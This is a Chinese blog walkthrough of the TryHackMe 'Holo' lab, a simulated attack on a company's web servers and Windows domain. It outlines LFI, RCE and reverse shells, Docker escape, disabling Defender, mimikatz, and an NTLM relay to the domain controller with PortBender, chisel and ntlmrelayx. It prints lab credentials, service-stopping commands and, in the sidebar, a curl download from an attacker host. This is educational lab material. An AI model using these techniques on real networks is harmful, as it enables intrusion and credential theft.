TryHackMe-Holo【Windows域渗透】

于 2024-04-24 16:53:54 发布
阅读量989 收藏 19
点赞数 31
分类专栏： 我的网络安全之旅-TryHackMe 文章标签： TryHackMe 渗透测试 域渗透 Web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_54704239/article/details/130960873
版权

Holo

Holo是一个Active Directory（AD）和Web-App攻击实验室，旨在教授核心Web攻击媒介和更高级的AD攻击技术。此网络模拟公司网络上的外部渗透测试。

Holo 是一个 Active Directory 和 Web 应用程序攻击实验室，教授核心 Web 攻击媒介和高级\晦涩的 Active Directory 攻击以及一般的红队方法和概念。该网络模拟了具有一个预期杀伤链的公司网络“Hololive”上的外部渗透测试。所有概念和漏洞都将以红队方法和思维方式教授，并在整个网络中教授其他方法和技术。

网络拓扑

在这里插入图片描述

外部Web服务器信息收集

端口扫描

nmap

在这里插入图片描述

Web

进到80是一个wordpress

在这里插入图片描述

还有个域名，写进hosts

holo.live
www.holo.live

在这里插入图片描述

vhost扫描

ffuf扫一下

在这里插入图片描述

[Status: 200, Size: 7515, Words: 639, Lines: 272, Duration: 3767ms]
    * FUZZ: dev

[Status: 200, Size: 1845, Words: 453, Lines: 76, Duration: 3776ms]
    * FUZZ: admin

[Status: 200, Size: 21405, Words: 1285, Lines: 156, Duration: 517ms]
    * FUZZ: www

加进hosts

对admin子域扫目录

在这里插入图片描述

robots.txt

在这里插入图片描述

直接访问creds.txt是403

在这里插入图片描述

LFI

在dev下,talents.php下通过img.php来加载图片，可能存在lfi

在这里插入图片描述

下载creds.txt

在这里插入图片描述

查看

在这里插入图片描述

Foothold

使用这组凭据回到admin子域下登录

在这里插入图片描述

查看dashboard.php页面源码发现一条注释

在这里插入图片描述

尝试利用这个参数进行RCE

在这里插入图片描述

python3可用，直接常规python3反向shell

在这里插入图片描述

Docker逃逸

在这里插入图片描述

传个nmap扫一下网段

在这里插入图片描述

在/var/www/admin下我们可以发现到.1数据库的凭据

在这里插入图片描述

进到数据库我们可以找到这个username

在这里插入图片描述

当前账户有权限写入文件，并且.1机器还有web，所以直接写shellcode

在这里插入图片描述

rce后常规python3反向shell

在这里插入图片描述

.33机器本地权限提升

find suid

在这里插入图片描述

常规docker suid提权

通过docker images找到ubuntu的image id然后挂载并且进入shell

在这里插入图片描述

.33机器本地简单持久化

为了完成房间任务，这里只好跟着任务走

在这里插入图片描述

linuxrulez

内网信息收集

内网扫描

传个nmap过去扫一下网段

在这里插入图片描述

除开33和250，只发现了30 (DC)、31、35

sshuttle隧道

在这里插入图片描述

.31机器WEB枚举

重置密码时，服务端将user_token直接返回到客户端，我们在burp也可以看到这一点

在这里插入图片描述

将user_token丢到user_token参数

在这里插入图片描述

登录后我们有个图片上传点

在这里插入图片描述

简单扫一下目录我们就能够找到它

在这里插入图片描述

当我们尝试执行命令时，它就会被杀掉

在这里插入图片描述

直接一个php短 payload

在这里插入图片描述

在这里插入图片描述

.31机器持久化

直接加个账户

在这里插入图片描述

在这里插入图片描述

关defender上C2

在这里插入图片描述

在这里插入图片描述

域凭据收集

我们可以通过上传mimikatz来尝试获取凭据票证

在这里插入图片描述

我们也可以在c2中运行mimikatz模块，凭据将会自动保存在凭据页中

在这里插入图片描述

BloodHound

runas注入watamet凭据

在这里插入图片描述
跑SharpHound

在这里插入图片描述

把结果回传攻击机

.35机器崩了，所以重置了一下整个环境

.35机器立足点

──(ming👻m1n9k1n9-parrot)-[~/Hololive]
└─$ smbclient //10.200.107.35/Users -U 'holo.live\watamet%Nothingtoworry!'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Sat Dec 12 09:34:19 2020
  ..                                 DR        0  Sat Dec 12 09:34:19 2020
  Default                           DHR        0  Mon Nov 16 02:20:08 2020
  desktop.ini                       AHS      174  Sat Sep 15 15:16:48 2018
  Public                             DR        0  Wed Dec 12 15:45:15 2018
  watamet                             D        0  Sat Dec 12 09:37:48 2020

从这我们可以得知watamet可以登录到.35

AppLocker绕过

在这里插入图片描述

可执行目录扫描

在这里插入图片描述

传SharpEDRChecker

在这里插入图片描述

.35本地权限提升

在Seatbelt结果中，我发现了.32

在这里插入图片描述

根据房间的指示，我并没有找到与任务攻击路径有关的计划任务，这是环境的问题，同时通过wp得知另一个攻击路径PrintNightmare

在这里插入图片描述

NTLM中继 - DC

Inveigh看到.32机器有smb请求到.35

在这里插入图片描述

虽然我们目前还不能得知这是哪个账户的smb请求，但是我们可以对任一“未强制启用smb签名”的机器进行ntlm relay

这里我们并不打算按照房间教导的来，因为我在CPTS中也遇到了类似问题，当我们并不打算使用C2时，我们应该如何达到目的

是的，正如问题描述那样，在目标windows机器上，并不会像我们的攻击机那样携带着各种武器工具包。

事实上hololive房间已经给出一种方法即彻底关闭windows原有smb服务，并且通过端口转发将我们监听的445转发到我们的攻击机上最后再进行ntlm relay

Begin by disabling NetLogon. Find the command used below.
Command used: sc stop netlogon

Next, we need to disable and stop the SMB server from starting at boot. We can do this by disabling LanManServer and modifying the configuration. Find the command used below.
Command used: sc stop lanmanserver and sc config lanmanserver start= disabled

To entirely stop SMB, we will also need to disable LanManServer and modify its configuration. Find the command used below.
Command used: sc stop lanmanworkstation and sc config lanmanworkstation start= disabled

然而令我苦恼的一个问题是我如何在不破坏甚至是无法关闭smb服务的情况下进行这一切呢？

如果是C2，那么它会很轻松帮我们解决这一切

但是今天我们要思考另一种方式

首先目标机器上肯定无法允许我们直接运行htlm relay脚本，同时我们也无法进行端口转发，因为445已被占用

所以我们能做的只有端口流量重定向

端口流量重定向

我前不久学习CRTO时，学习了WinDivert的一个用途，但并没有具体教导如何利用

我在github找到了CS（C2）的端口流量重定向插件

由 Praetorian Inc 为 Cobalt Strike C2 创建的原始 PortBender 的 PE 改编版 [1]。它是一种 TCP 端口重定向实用程序，允许红队操作员将发往一个 TCP 端口（例如 445/TCP）的入站流量重定向到另一个 TCP 端口（例如 8445/TCP）。该工具还允许操作员模拟 Duqu 2.0 威胁参与者使用的“PortServ.sys”功能中利用的后门/持久性机制。

我看到了该插件是基于WinDivert开发的，只是可惜它是CS的插件

我随之寻找到了PortBender的exe二进制可执行文件版本，这一发现无疑是至关重要的

https://github.com/exil-security/PortBender

使用它就像使用原版的插件一样轻松，只是我们脱离了C2

在这里插入图片描述

现在我们只需要利用chisel来做一个8445端口转发到我们攻击机的445端口即可

在这里插入图片描述

ntlmrelayx.py，我们把中继的目标指向DC

在这里插入图片描述

hostname

在这里插入图片描述

在这里插入图片描述

通过输出我们看见是哪个用户

在这里插入图片描述

在bloodhound中我们可以快速的发现它究竟拥有哪些权力

在这里插入图片描述

socks

在这里插入图片描述

这里可能需要smbexec，因为psexec似乎不行

在这里插入图片描述

常规创建账户加写用户组

在这里插入图片描述

至此，所有机器已向我们妥协

在这里插入图片描述

懒得上C2了

Sugobet
关注
  • 31
    点赞
  • 踩
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
Android-Holo-DateTimePicker:来自https的端口
05-13
Android-Holo-DateTimePicker 从移植到gradle库 通过jitpack使用它： ://jitpack.io/#rightgenius/Android-Holo-DateTimePicker/0.9
TRY HACK ME ｜ Hack Park 「Hydra+Winpeas」
AKAHRZ的博客
04-23 3710
TRY HACK ME 渗透测试靶场，以基础为主层层深入，知识点讲解详细，对于想实现从零到一飞跃的白客，TRY HACK ME无非是最好的选择。而网络上资源良莠不齐，好的资源难找的一逼。因此，今天起我将与大家一起详细学习THM重要的ROOM里的内容，力求让每个人都能理解、掌握其中的内容，让我们一起学习、一起进步、一起GET THE FLAG！ Steel Mountain「利用powershell提权」THM靶场：Steel MountainTASK1 谁是最佳员工？TASK2 获得初始 shellTA.
TryHackMe-渗透测试5_log
M1n9K1n9的博客
12-21 384
tryhackme讲到的主要的点就是尝试闭合标签或者其他符号绕过，fetch()用于发起http请求btoa()用于将数据进行base64 encode。
TryHackMe-NahamStore（常见web漏洞 大杂烩）
M1n9K1n9的博客
01-19 1953
关于漏洞赏金和web常见漏洞 大杂烩 这个房间很有意思，涵盖了许多常见web漏洞。
tryhackme之Wreath-3 渗透测试基础案例之内网渗透 继续进攻
qq_43200143的博客
08-15 315
文章目录3.继续进攻获得反弹shellcURL访问webshell先用webshell干点事在反弹shell前，先看一下它能否访问外网 方法也很多 3.继续进攻 往受害机器上上传nmap（静态编译好的） 可以开一个python的http服务 sudo python3 -m http.server 80 在受害机器上执行 curl ATTACKING_IP/nmap-USERNAME -o /tmp/nmap-USERNAME && chmod +x /tmp/nmap-USERNAME
TRY HACK ME｜ BLUE 永恒之蓝
AKAHRZ的博客
03-26 2587
永恒之蓝（EternalBlue）是美国国家安全局开发的漏洞利用程序，于2017年4月14日被黑客组织影子掮客泄漏。该工具利用445/TCP端口的文件分享协议的漏洞进行散播。
Holo插件-Holo UI for UGUI.unitypackage
01-16
Holo插件-Holo UI for UGUI.unitypackage
hologress迁移工具，holo-shipper
10-12
亲测hologress数据迁移工具holo-shipper-1.2.jar，https://blog.csdn.net/uuilghiugiu/article/details/127263677?spm=1001.2014.3001.5501
AlertDialogPro-holo和material 两种风格的对话框.zip
09-24
2.holo风格的dialog包含两种holo：Theme.AlertDialogPro.Holo和Theme.AlertDialogPro.Holo.Light只需在style文件中加入alertDialogProTheme属性：<style name="AppTheme" parent="AppBaseTheme">  ...  ...
android-holo-colors-idea-plugin：适用于Android Holo Colors的IntelliJ Android Studio插件
02-18
自从Material Design的引入以及设置原色，副色的能力以来，Holo Colors变得毫无意义。Android Holo Colors IntelliJ插件已通过IntelliJ 12.x / 13.x和Android Studio 0.3+进行了测试。 您可以在上有关该插件的其他...
chromedriver-mac-arm64_126.0.6474.0.zip
07-31
chromedriver-mac-arm64_126.0.6474.0.zip
chromedriver-mac-arm64_128.0.6548.0.zip
07-31
chromedriver-mac-arm64_128.0.6548.0.zip
MySQL查询加速器：利用Query Cache提升效率
07-31
MySQL是一个流行的开源关系型数据库管理系统（RDBMS），广泛用于Web应用程序的后端数据存储。它基于结构化查询语言（SQL）来管理数据，并且是LAMP（Linux, Apache, MySQL, PHP/Python/Perl）技术栈的一部分，这个技术栈常用于构建动态网站和Web应用程序。 MySQL的特点包括： - **开放源代码**：MySQL的源代码是公开的，任何人都可以自由使用和修改。 - **跨平台**：MySQL可以在多种操作系统上运行，包括Linux、Windows、macOS等。 - **高性能**：MySQL以其快速的查询处理和良好的性能而闻名。 - **可靠性**：MySQL提供了多种机制来确保数据的完整性和可靠性，包括事务支持、备份和恢复功能。 - **易于使用**：MySQL提供了简单直观的界面和丰富的文档，便于用户学习和使用。 - **可扩展性**：MySQL支持从小型应用到大型企业级应用的扩展。 - **社区支持**：由于其广泛的使用，MySQL拥有一个活跃的开发者社区，提供大量的资源和支持。 MySQL被广泛应用于各种场景，包括在线事务处理（OL
Objective-C语言的基础教程.md
最新发布
07-31
Objective-C是一种面向对象的编程语言，是C语言的扩展。它主要用于苹果的iOS和macOS应用程序开发。
暂存暂存暂存暂存暂存暂存暂存暂存
07-31
暂存暂存暂存暂存暂存暂存暂存暂存
Java实现HTTP断点续传的多线程安全解决方法.zip
07-31
Java实现HTTP断点续传的多线程安全解决方法
数据库课程设计报告-宿舍信息管理系统.doc
07-31
系统要处理的对象包括宿舍楼基本信息、学生基本信息、宿舍基本信息、楼栋管理员基本信息、物品出入基本信息等五个方面，各个对象包括信息如下所示（详细的数据见于数据字典）： 1．学生基本信息(Student)：包括 学生编号、学生所在学院信息、学生姓名、学生性别、学生来自省份、学生出生日期、学生入学时间、学生所学专业、所在班级等方面的信息，可以方便学生信息的查询和更新； 2．宿舍楼基本信息(Dormitory)：包括 宿舍楼编号、每一幢宿舍楼楼管处的电话、宿舍楼楼管员信息、宿舍楼性别分类信息等方面，这样可以方便管理者对宿舍楼的管理，提高查询效率； 3．宿舍基本信息(Room)： 包括 宿舍编号、舍长信息、舍员信息、楼栋号； 4．楼栋管理员基本信息(Worker)：包括 工作人员编号、工作人员姓名、工作类型、工资、性别、联系方式、工作时间等数据项，可以方便管理人员对宿舍楼道工人的任用、信息查询及更改； 6．物品出入基本信息(ArticalInOut)：包括出入物品的学生信息、出入的物品信息、出入物品时的负责人信息、出入物品时间，尽量减少宿舍事故的发生，保障学生宿舍财产的安全。
Java面试经验、面试技巧、常见面试知识点整理。.zip
07-31
Java面试经验、面试技巧、常见面试知识点整理。
智能汽车轨迹跟踪多目标显式模型预测控制_赵树恩.caj
07-31
智能汽车轨迹跟踪多目标显式模型预测控制_赵树恩
scifi holo interface 下载
07-04
### 回答1： scifi holo interface 是一种虚拟现实界面，它提供了科幻般的交互体验。下载 scifi holo interface 的方法如下： 首先，您需要在您的设备上找到支持虚拟现实的应用商店或网站，例如苹果应用商店或谷歌 Play 商店。在搜索栏中输入 "scifi holo interface"，然后点击搜索按钮。在搜索结果中，您应该能够找到与 scifi holo interface 相关的应用程序。 点击应用的图标，查看应用的描述、评价和其他用户的反馈，以便确定是否适合您的需要。如果您觉得这个应用符合您的期望和要求，那么您可以点击 "下载" 按钮，然后按照屏幕上的指示完成下载过程。 下载完成后，您可以找到该应用的图标并点击打开。首次打开应用时，您可能需要完成一些设置和配置，例如语言选择、登录账户等。完成设置后，您就可以开始使用 scifi holo interface 了。 通过 scifi holo interface，您可以进入虚拟现实世界，与人工智能助手互动、浏览虚拟信息、玩游戏等。通过手势或者语音控制，您可以轻松地与虚拟世界进行交互。 总的来说，下载 scifi holo interface 对于想要体验科幻般交互体验的人来说是一种很好的选择。记得在下载前检查您的设备是否支持该应用，并且在使用虚拟现实界面时注意您的安全。 ### 回答2： scifi holo interface是一款虚拟现实技术界面，提供了一个令人惊叹的未来感。通过该技术，用户可以在虚拟世界中与数字信息进行交互。当用户想要下载scifi holo interface时，他们可以按照以下步骤进行操作。 首先，用户需要连接到可靠的网络。这可以是Wi-Fi网络或移动数据网络，确保下载过程顺利进行。 接下来，用户可以在他们的设备中打开应用商店或游戏平台应用。这可以是App Store（苹果设备）或Google Play（安卓设备），具体取决于用户使用的设备型号。 一旦打开应用商店或游戏平台应用，用户可以在搜索栏中键入"scifi holo interface"，然后点击搜索按钮。 搜索结果页面将会显示与"scifi holo interface"相关的应用或游戏。用户应该选择由可靠的开发者提供的应用或游戏，并查看其评价和评论，以了解其质量和用户反馈。 一旦用户决定下载特定的"scifi holo interface"应用或游戏，他们可以点击下载按钮开始下载过程。这会立即将应用程序或游戏文件下载到用户的设备中。 下载速度取决于用户的网络连接速度和文件大小。一般来说，下载过程需要几分钟到几十分钟不等。 当下载完成后，用户可以打开该应用程序或游戏，并按照相关的设置指南进行进一步的安装和配置。 通过以上步骤，用户就可以成功下载并使用scifi holo interface，进入一个令人惊叹的虚拟现实体验，并与数字信息进行交互。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值